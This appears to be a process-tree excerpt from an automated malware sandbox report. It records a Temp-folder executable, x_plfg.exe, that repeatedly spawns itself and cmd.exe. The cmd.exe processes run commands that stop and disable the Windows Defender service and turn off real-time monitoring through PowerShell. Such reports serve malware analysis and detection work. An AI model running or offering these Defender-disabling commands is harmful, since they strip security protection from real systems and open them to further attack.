        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:41376
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        28⤵
        
        PID:34884
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:37252
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:15416
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:15984
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:16796
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:18068
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        
        PID:19384
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:22792
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        32⤵
        
        PID:28960
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:31168
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:40504
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:36940
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:39448
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        26⤵
        
        PID:34764
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:38216
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:14580
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:16176
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        
        PID:16888
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:19064
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:19912
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:1816
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        
        PID:33276
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:35372
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:41992
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:37076
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:40264
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        24⤵
        
        PID:34596
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:37040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:15188
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:15600
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:15540
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:17160
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        
        PID:17848
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:21120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:23032
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:28096
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:39068
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:36460
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:38036
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        22⤵
        
        PID:34420
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:37528
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:15028
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:15472
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:16248
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:17256
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:18340
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:19984
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        
        PID:21348
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:26160
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:31188
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        24⤵
        
        PID:39464
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:36372
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:38564
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        20⤵
        
        PID:32908
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:35896
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:14844
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:15248
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:15812
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:16788
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:17716
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:20528
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:22832
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:27580
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:38852
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:41808
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:35652
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:39456
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        18⤵
        
        PID:33640
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:35776
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:14752
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:15136
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:15672
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:16404
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:17288
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:18576
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:19640
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:21832
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:23700
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:28088
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:30656
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:37980
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:41700
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:35232
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:37552
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        16⤵
        
        PID:33060
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:35132
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:14532
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:15120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:15752
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:16512
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:16912
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:20092
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:21776
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:24788
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:33256
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:35436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:38284
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:40600
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:35620
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:30024
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        14⤵
        
        PID:32808
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:36232
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:14364
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:14712
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:15328
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:16052
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:16852
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:17780
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:18800
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:22208
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:26236
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:28748
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:40276
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:36984
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:39416
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:34536
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:37544
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        12⤵
        
        PID:27452
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:36280
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:14292
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:14604
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:15220
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:15944
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:16696
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:17592
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:18724
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:20436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:21760
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:25096
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:35124
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:37364
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:40036
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:36812
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:39964
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:34464
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:37804
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        10⤵
        
        PID:31612
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:35448
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:14192
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:14412
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:14832
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:15320
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:15972
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:17072
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:17888
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:19696
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:21292
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:24312
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:33268
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:35488
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:38916
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:35928
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:38888
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:33776
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:35352
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        8⤵
        
        PID:31768
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:35268
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:14024
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:14284
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        
        PID:14476
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:14896
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:15496
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:16184
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:17128
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:19880
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:21216
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:24168
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:32576
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:34740
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:37692
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:40240
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:28272
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:37020
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:33052
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:36304
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        6⤵
        
        PID:31800
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:35208
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
      4⤵
      PID:13892
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:14072
      - C:\Windows\System32\cmd.exe
        
